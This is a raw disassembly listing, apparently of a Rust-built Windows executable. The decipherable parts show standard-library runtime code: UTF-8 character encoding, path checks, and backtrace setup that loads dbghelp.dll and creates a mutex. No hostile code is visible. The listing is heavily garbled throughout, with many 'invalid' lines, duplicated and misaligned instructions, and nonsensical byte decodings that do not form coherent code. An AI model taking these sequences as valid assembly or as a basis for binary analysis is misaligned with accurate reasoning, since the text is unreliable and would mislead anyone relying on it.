add rcx, r13
add rcx, rax
ror byte [rcx + rax - 0x17], 0x48
add ecx, eax
cmp rdi, rcx
cmp edi, ecx
jbe 0x14007a439
mov r15, rdi
lea rcx, [rsp + 0x70]
dec dword [rax - 0x73]
and al, 0x70
lea rdx, [rsp + 0x20]
call fcn.14007a4d0
and al, ch
sub al, byte [rdx]
add byte [rax], al
cmp byte [rsp + 0x78], 0xa
jne 0x14007a436
and al, 0x78
or cl, byte [rdi]
test dword [rbp + 0x4c000001], eax
mov rdi, r15
mov edi, edi
sub rdi, qword [rsp + 0x70]
jb 0x14007a4a4
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
jl 0x14007a2e7
mov qword [rsp + 0x28], rdi
sub byte [rbp - 0x7c], al
test r14b, r14b
je 0x14007a2d0
div byte [rdi + rax + 0x31]
leave
jmp 0x14007a2df
invalid
add cl, byte [rdi]
invalid
add dword [rax], eax
add byte [rax + 0x39], cl
stc
cmp rcx, rdi
jne 0x14007a2f0
xor eax, eax
test bl, bl
je 0x14007a280
invalid
jmp case.0x14007a1a1.7
lea rax, [rsi + rdi]
lea rdx, [rsi + rcx]
inc rdx
cmp rdx, rax
sete al
movzx ecx, byte [rsi + rcx]
test al, 1
jne case.0x1400795ae.43
invalid
invalid
cmp cl, 0x2e
jne case.0x1400795ae.43
movzx eax, byte [rdx]
cmp al, 0x5c
add bh, byte [rsp + rbx*2]
sete cl
cmp al, 0x2f
sete al
ror byte [rax], 0xc8
xchg esp, eax
sar dword [rdi + rbp], 0xf
xchg esp, eax
ror byte [rax], 0xc8
test bl, bl
je 0x14007a280
test byte [rbx - 1], bl
invalid
invalid
test byte [rbx - 1], bl
invalid
pop rbx
invalid
invalid
jmp case.0x14007a1a1.7
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x6bf0d107], al
shl dword [rax], 0xc8
and al, cl
cmp cl, 0x2e
sete cl
sete cl
and al, cl
test bl, bl
je 0x14007a280
invalid
invalid
invalid
invalid
invalid
invalid
lea rdx, [0x1400e7c60]
movsxd rcx, dword [rdx + r12*4]
invalid
fld dword [rsi]
add byte [rdx + 0x63], cl
or al, 0xa2
invalid
movabs byte [0xe98948e1ffd10148], al
jmp 0x14007a282
sub bh, bh
invalid
invalid
add rcx, rdx
jmp rcx
jmp 0x14006ce40
sub bh, bh
invalid
mov ecx, dword [rsp + 0x60]
jmp 0x14007a282
and bh, bh
invalid
invalid
and bh, bh
invalid
jmp 0x14007a282
and al, 0x68
jmp 0x14007a282
invalid
invalid
add bh, bh
invalid
and al, 0x70
lea r14, [rsp + 0x20]
nop word [rax + rax]
mov rcx, rbx
mov rdx, r14
mov edx, esi
mov edx, esi
call fcn.14007a4d0
cmp byte [rsp + 0x78], 0xa
jne 0x14007a439
mov rcx, rdi
sub rcx, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
jb 0x14007a49f
mov qword [rsp + 0x28], rcx
mov rdi, rcx
mov edi, ecx
mov edi, ecx
cmp rcx, r13
ja 0x14007a390
mov rdi, rcx
jmp 0x14007a439
je 0x14007a453
lea r14, [rsp + 0x20]
lea esi, [rsp + 0x20]
and byte [rax - 0x73], cl
sbb eax, 0x6d89e
invalid
lea rbx, [0x1400e7c78]
add bl, ch
or ecx, dword [rax - 0x77]
call 0x188efa52f
add eax, ebp
cmp rdi, rax
jmp case.0x140079f04.23
add eax, ebp
cmp rdi, rax
jbe 0x14007a439
mov r15, rdi
lea rcx, [rsp + 0x70]
mov rdx, r14
bnd call fcn.14007a4d0
bnd call fcn.14007a4d0
cmp byte [rsp + 0x78], 0xa
jne 0x14007a436
jl 0x14007a41e
mov rdi, r15
mov edi, edi
sub rdi, qword [rsp + 0x70]
jb 0x14007a4a4
add byte [rax], al
invalid
mov qword [rsp + 0x28], rdi
movsxd rax, dword [rbx + r12*4]
add rax, rbx
fdivr st(7)
invalid
mov rdi, r15
mov rax, rsi
mov rdx, rdi
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [rsp + 0x70]
lea r14, [rsp + 0x20]
nop dword [rax]
mov rcx, rbx
mov rdx, r14
call fcn.14007a4d0
cmp byte [rsp + 0x78], 0xa
jne 0x14007a439
mov rcx, rdi
sub rcx, qword [rsp + 0x70]
jb 0x14007a49f
mov qword [rsp + 0x28], rcx
mov rdi, rcx
cmp rcx, r13
ja 0x14007a460
jmp case.0x140079dc4.26
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1400a43b0
ud2
mov r15, rdi
jmp 0x14007a4a7
mov rcx, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.1400a44b0
ud2
lea r8, str.library_std_srcpath.rs
mov ecx, 2
jmp 0x14007a495
invalid
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
invalid
popfq
add al, byte [rax]
ud2
int3
int3
movzx eax, byte [rcx + 0x3a]
cmp dh, byte [rcx]
sar byte [rcx + rax], cl
xor edx, edx
cmp al, 1
ja 0x14007a65d
movzx r10d, byte [rcx + 0x10]
adc byte [rbp + 0xf], al
movzx r9d, r10b
mov dh, 0xca
test r8b, r8b
jne 0x14007a6bf
cmp r10b, 5
jb 0x14007a6bf
add eax, 0x8f820f
add byte [rax], al
mov r10, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov edx, dword [rcx + 8]
xor r11d, r11d
test al, al
jne 0x14007a654
cmp r9b, 6
je 0x14007a654
mov r11d, 2
mov ebx, 2
cmp rdx, 2
jb 0x14007a73e
invalid
add byte [rax], al
invalid
invalid
add byte [rcx + 0x39], cl
sal dword [rbp + 0x26], cl
cmp r11, rdx
jne 0x14007a67f
xor edx, edx
jmp 0x14007a6bf
xor r10d, r10d
cmp al, 2
setb cl
movzx eax, dl
test r8b, r8b
setne dl
and dl, cl
retf 0xb60f
retf 0x14c
ror byte [rax + 1], 1
enter 0xffffffffffff8348, 0xffffffffffffffc4
invalid
retf 0xb60f
retf 0x14c
pop rsi
ret
add rdx, r10
lea rsi, [r10 + r11]
inc rsi
cmp rsi, rdx
cmp esi, edx
cmp esi, edx
sete dl
movzx r10d, byte [r10 + r11]
mov dh, 0x14
sbb dh, dh
ret 0x7501
invalid
mov dh, 0x14
sbb dh, dh
ret 0x7501
cmp r10b, 0x2e
jne case.0x140079f04.28
jne case.0x140079f04.28
movzx edx, byte [rsi]
cmp dl, 0x5c
sete r10b
cmp dl, 0x2f
sete dl
xchg esp, eax
ret 0x844
shr bl, cl
invalid
cmp r10b, 0x2e
sete r10b
xchg esp, eax
ret 0x2044
invalid
ret 0x2044
xor r10d, r10d
test al, al
jne 0x14007a660
rol byte [rax + rax*8 - 0x7fbe658b], cl
stc
invalid
cmp r9b, 6
je 0x14007a660
lea r10, [0x1400e7c90]
movsxd r9, dword [r10 + r9*4]
add r9, r10
rol dword [rcx - 1], 1
jmp r9
mov ecx, dword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r10, [rcx + 1]
test rcx, rcx
cmove r10, rcx
add r10, r9
add r10, 8
or cl, ch
push rdi
invalid
invalid
invalid
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.1400a43b0
ud2
add al, byte [rax]
add byte [rax], al
jmp 0x14007a80f
invalid
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov edi, 4
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x14007a841
mov rcx, qword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.1400a5460
mov rbx, qword [rsi + 0x10]
jmp 0x14007a81f
test rax, rax
jne case.0x14002753a.1139
invalid
cmovs ecx, dword [rcx - 0x3b7cb70f]
and byte [rsi + 0x48], bl
jmp qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
call fcn.1400a7ca0
adc esp, edx
add al, byte [rax]
test al, al
jne 0x14007a87b
mov byte [rsi + 8], 1
jmp 0x14007a87b
int3
mov byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, qword [0x1400f0208]
pop rcx
invalid
add byte [rax - 0x7b], cl
invalid
je 0x14007a915
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
add r14b, r15b
invalid
pop rcx
invalid
invalid
mov rcx, rbx
mov edx, 0xffffffff
xor r8d, r8d
call qword [sym.imp.kernel32.dll_WaitForSingleObjectEx]
mov rax, qword [0x1400f0260]
sbb dword [rcx + 7], 0xc0854800
sbb dword [rcx + 7], 0xc0854800
jne 0x14007a901
lea rcx, str.dbghelp.dll
call qword [sym.imp.kernel32.dll_LoadLibraryA]
adc eax, 0x2e88f
adc eax, 0x2e88f
mov qword [0x1400f0260], rax
test rax, rax
je case.0x140023569.1235
mov dh, 1
add byte [rax], al
mov dh, 1
add byte [rax], al
cmp byte [0x1400f0210], 0
je 0x14007a9f5
xor edi, edi
jmp case.0x140023569.1236
movups xmm0, xmmword [0x1400e1998]
movaps xmmword [rbp - 0x20], xmm0
loopne case.0x140023569.1211
adc byte [str.LocalRustBacktraceMutex00000000], al
loopne case.0x140023569.1211
adc byte [str.LocalRustBacktraceMutex00000000], al
movaps xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
adc eax, 0x2e853
adc eax, 0x2e853
test eax, eax
je 0x14007a99f
mov ecx, 0x1f
nop
cmp rcx, 0x20
cmp ecx, 0x20
ja 0x14007aad7
mov edx, eax
and dl, 0xf
lea r8d, [rdx + 0x30]
xor byte [rbp + rcx*4 + 0x4a], al
invalid
cmp dl, 0xa
xor byte [rbp + rcx*4 + 0x4a], al
invalid
movzx edx, r8b
movzx r8d, r9b
cmovb r8d, edx
cmovb eax, edx
cmovb eax, edx
mov byte [rbp + rcx - 0x30], r8b
cmp eax, 0x10
jb 0x14007a99f
invalid
invalid
mov edx, eax
shr dl, 4
add al, 0x44
lea eax, [rdx + 0x30]
add al, 0x44
lea eax, [rdx + 0x30]
add dl, 0x37
cmp al, 0xa0
movzx r8d, r8b
mov dh, 0xc0
mov dh, 0xc0
movzx edx, dl
cmovb edx, r8d
mov byte [rbp + rcx - 0x31], dl
mov edx, eax
shr edx, 8
or byte [rax - 0x7d], cl
sar esi, 0x3d
add byte [rcx], al
add byte [rax], al
or byte [rax - 0x7d], cl
sar esi, 0x3d
add byte [rcx], al
add byte [rax], al
mov eax, edx
jae 0x14007a940
movzx eax, byte [rbp - 0x10]
mov byte [rbp - 0x40], al
movaps xmm0, xmmword [rbp - 0x30]
movaps xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
sub dword [rbp - 0x60], eax
invalid
sub dword [rbp - 0x60], eax
lea r8, [rbp - 0x60]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateMutexA]
adc eax, 0x2e7cc
adc eax, 0x2e7cc
test rax, rax
je 0x14007aab0
mov rbx, rax
xor eax, eax
lock cmpxchg qword [0x1400f0208], rbx
mov cl, 0x1d
sub eax, 0xf000758
test dh, ah
invalid
invalid
invalid
mov cl, 0x1d
sub eax, 0xf000758
test dh, ah
invalid
mov rsi, rax
mov rcx, rbx
fcos
adc eax, 0x2e90b
fcos
adc eax, 0x2e90b
mov rbx, rsi
jmp 0x14007a8c7
invalid
invalid
invalid
invalid
mov rcx, qword [0x1400f0268]
or eax, 0x7586c
test rcx, rcx
jne 0x14007aa24
lea rdx, str.SymGetOptions
adc eax, 0x680dc
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14007aaf1
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
pop rax
invalid
mov rcx, rax
mov qword [0x1400f0268], rax
call rcx
mov esi, eax
mov rax, qword [0x1400f0270]
add eax, 0x75841
ror dword [rcx + 0x58b48c6], 1
pop r8
invalid
add eax, 0x75841
test rax, rax
jne case.0x14002753a.1158
mov rcx, qword [0x1400f0260]
or eax, 0x75825
lea rdx, str.SymSetOptions
call qword [sym.imp.kernel32.dll_GetProcAddress]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rsi + 0x48000000], bh
test byte [rsi + 0x48000000], bh
mov qword [0x1400f0270], rax
mov dword [0x1400f0270], eax
or esi, 4
mov ecx, esi
call rax
mov rsi, qword [0x1400f0278]
test rsi, rsi
jne 0x14007aa92
mov rcx, qword [0x1400f0260]
lea rdx, str.SymInitializeW
xchg dword [rax + 0x15ff0006], eax
or ecx, ebp
add al, byte [rax]
out dx, al
push rdi
invalid
xchg dword [rax + 0x15ff0006], eax
or ecx, ebp
add al, byte [rax]
test rax, rax
je 0x14007ab2d
add byte [rax], al
add byte [rax], al
mov rsi, rax
mov qword [0x1400f0278], rax
add eax, 0x757e6
add eax, 0x757e6
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
xor edi, edi
mov rcx, rax
mov ecx, eax
add byte [rcx], dh
dec dword [rax - 0x77]
mov ecx, eax
xor edx, edx
mov ecx, eax
xor edx, edx
mov r8d, 1
call rsi
mov byte [0x1400f0210], 1
add eax, 0x75762
add ebx, ebp
invalid
add eax, 0x75762
add ebx, ebp
adc eax, 0x1bf
add bl, ch
invalid
invalid
mov edi, 1
jmp case.0x140023569.1236
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseMutex]
fcos
adc eax, 0x2e6e0
mov edi, 1
mov rax, rdi
mov rdx, rbx
fimul dword [rax - 0x7f]
invalid
mov byte [rax], al
add byte [rax], al
pop rbx
fimul dword [rax - 0x7f]
invalid
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x21
add byte [rax], al
outsb dx, byte [rsi]
invalid
add byte [rax], al
mov rcx, 0xffffffffffffffff
call fcn.1400a4430
cdq
add al, byte [rax]
cdq
add al, byte [rax]
ud2
mov qword [rbp - 8], rbx
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
lea eax, [0x1400e1940]
lea eax, [0x1400e1940]
mov edx, 0x2b
call fcn.1400a4530
jmp 0x14007ab49
invalid
cmp cl, byte [rax - 0x77]
pop rbp
clc
mov qword [rbp - 8], rbx
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
invalid
add byte [rdx + 0x2b], bh
call fcn.1400a4530
jmp 0x14007ab49
invalid
mov qword [rbp - 8], rbx
clc
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x2b
add byte [rax], al
add al, ch
out 0x99, eax
add al, byte [rax]
add byte [rax], al
add al, ch
out 0x99, eax
add al, byte [rax]
ud2
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax - 0x75], cl
clc
add byte [rax - 0x75], cl
clc
call sub.kernel32.dll_ReleaseMutex
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
int3
int3
cmp ecx, 0x80
jae 0x14007abaf
mov byte [rdx], cl
mov ecx, 1
add cl, ch
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
add cl, ch
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rcx + 0x800f9], al
add byte [rbx + 0x1c], dh
cmp ecx, 0x800
jae case.0x14002753a.1182
mov eax, ecx
shr eax, 6
or al, 0xc0
mov byte [rdx], al
and cl, 0x3f
or cl, 0x80
or byte [rax + 0x2b9014a], 0
add byte [rax], al
or byte [rax + 0x2b9014a], 0
add byte [rax], al
jmp 0x14007ac53
cmp ecx, 0x10000
jae 0x14007ac13
mov qword [rsp + 0x28], 3
cmp r8, 2
jbe 0x14007ac74
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
xchg byte [rsi - 0x77000000], al
enter 0xffffffffffffe8c1, 0xc
or al, 0xe0
mov byte [rdx], al
mov eax, ecx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rdx + 1], al
and cl, 0x3f
or cl, 0x80
mov byte [rdx + 2], cl
mov ecx, 3
jmp 0x14007ac53
mov qword [rsp + 0x28], 4
cmp r8, 3
jbe 0x14007ac74
cmp rcx, r8
ja 0x14007ac60
add byte [rax - 0x77], cl
test eax, edi
add eax, dword [rax]
add bh, bh
adc byte [rax - 0x75], cl
test eax, edi
add eax, dword [rax]
add byte [rax - 0x7d], cl
js 0x14007af53
add byte [rdi], cl
test byte [rdi + 0x48000000], ch
cmp dword [rax + 0x10], 0x11
jae 0x14007afe7
mov r8, qword [rbp + 0x3e8]
jmp 0x14007aff2
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x3e0]
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0x410]
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r8, qword [rbp + 0x3e8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x400]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x3d8], 0
fadd dword [rbx]
add byte [rax], al
add byte [rdi], cl
test dword [rcx - 1], esi
invalid
invalid
fadd dword [rbx]
add byte [rax], al
add byte [rdi], cl
test dword [rcx - 1], esi
invalid
jmp 0x14007afac
mov edx, dword [rbp + 0x3c8]
call fcn.14003c270
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x20], xmm6
mov rax, qword [rbp + 0x3f8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x3e8]
call fcn.1400755d0
mov rcx, qword [rbp + 0x400]
call fcn.14008b740
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf0
lock add byte [rax], al
add byte [rcx + rcx*4 - 0x31], cl
lock add byte [rax], al
add byte [rcx + rcx*4 - 0x31], cl
mov rbx, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov r12, qword [rcx]
mov r15, qword [rcx + 8]
mov qword [rsp + 0xe8], rdx
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
cmp byte [r12 + 0x20], 0
jne 0x14007b215
inc r15
mov qword [rsi + 8], r15
xor eax, eax
jmp 0x14007b615
mov rax, qword [r12]
test r15, r15
je 0x14007b31d
lea rcx, str.
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r14, [rsp + 0x20]
mov r8, r14
call fcn.14003e1b0
test al, al
jne 0x14007b613
cmp byte [r12 + 0x20], 1
jne 0x14007b4a5
lea rcx, [r12 + 0x18]
mov qword [rsp + 0xa8], rcx
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
lea rcx, [fcn.14003d600]
mov qword [rsp + 0xb0], rcx
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
add al, 0
add byte [rax], al
invalid
mov qword [rsp + 0x38], 4
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
and al, 0x48
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
and al, 0x50
add ecx, dword [rax - 0x73]
or eax, 0x664d6
invalid
invalid
mov byte [rsp + 0x50], 3
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
invalid
invalid
invalid
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 2
lea r14, [rsp + 0x20]
mov qword [rsp + 0x90], r14
mov dword [rsp + 0x90], esi
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x98], 1
lea r13, [rsp + 0xa8]
mov qword [rsp + 0x80], r13
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
call fcn.14003e1b0
test al, al
jne 0x14007b613
cmp byte [r12 + 0x20], 1
jne 0x14007b4a5
mov qword [rsp + 0xb0], rcx
mov al, 0
add byte [rax], al
lea rcx, [0x1400e1890]
mov qword [rsp + 0xb8], rcx
mov dword [rsp + 0xb8], ecx
mov dword [rsp + 0xb8], ecx
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xfffc21ac
add byte [rax], al
lea rcx, [0x14003d5c0]
mov qword [rsp + 0xc0], rcx
mov word [rax + rax*8], fs
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
and byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
add ecx, dword [rax - 0x73]
or eax, 0x6641b
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea ecx, [0x1400e1870]
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x78], 2
mov dword [rsp + 0x78], 2
js 0x14007b462
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rbx*4], ah
cwde
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
mov dword [rsp + 0x98], 1
cwde
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x80
invalid
mov qword [rsp + 0x80], r13
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov qword [rsp + 0x88], 2
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
call fcn.14003e1b0
test al, al
ror byte [rdi], 0x85
outsb dx, byte [rsi]
add dword [rax], eax
add byte [rbx - 0x7bf0fcc5], al
add al, byte [rcx]
add byte [rax], al
jne 0x14007b613
cmp dword [rbx], 3
je 0x14007b5b0
movzx eax, byte [r12 + 0x20]
movzx eax, byte [rsp + 0x20]
mov dh, 0x44
and al, 0x20
cmp rax, 1
je 0x14007b857
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x7b], cl
invalid
test rax, rax
test eax, eax
ror byte [rdi], 0x85
jmp 0x14f07b4c8
jne 0x14007b5b0
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
sub dword [rsp + 0x60], eax
sub dword [rsp + 0x60], eax
movups xmm0, xmmword [rbx]
adc byte [rbx], al
add ecx, dword [rdi]
adc byte [rbx + 0x10], cl
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
pop rbx
xor byte [rdi], cl
sub dword [rsp + 0x50], ebx
pop rsp
and al, 0x50
pop rbx
xor byte [rdi], cl
sub dword [rsp + 0x50], ebx
pop rsp
and al, 0x50
pop rsp
and al, 0x50
push rax
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
and byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
mov eax, dword [rsp]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xd8], rcx
and al, 0xd8
add byte [rax], al
invalid
and al, 0xd8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffd1d5
lea rcx, [0x1400786e0]
lea ecx, [0x1400786e0]
mov qword [rsp + 0xe0], rcx
add byte [rax], al
add byte [rax - 0x39], cl
invalid
add byte [rax], al
mov qword [rsp + 0x70], 2
mov dword [rsp + 0x70], 2
and al, 0x70
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x80], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x47], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
movabs rcx, 0x400000020
mov qword [rsp + 0x98], rcx
cwde
add byte [rax], al
add dh, al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
mov byte [rsp + 0xa0], 3
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
invalid
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], 1
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
lea rcx, [rsp + 0x70]
mov qword [rsp + 0xc8], rcx
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
mov word [rax + rbx*8], fs
invalid
mov qword [rsp + 0xd0], 1
mov dword [rsp + 0xd0], 1
lea rcx, [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rax*8], ah
add byte [rax], al
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], 1
mov dword [rsp + 0xc0], 1
mov dword [rsp + 0xc0], 1
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
push rax
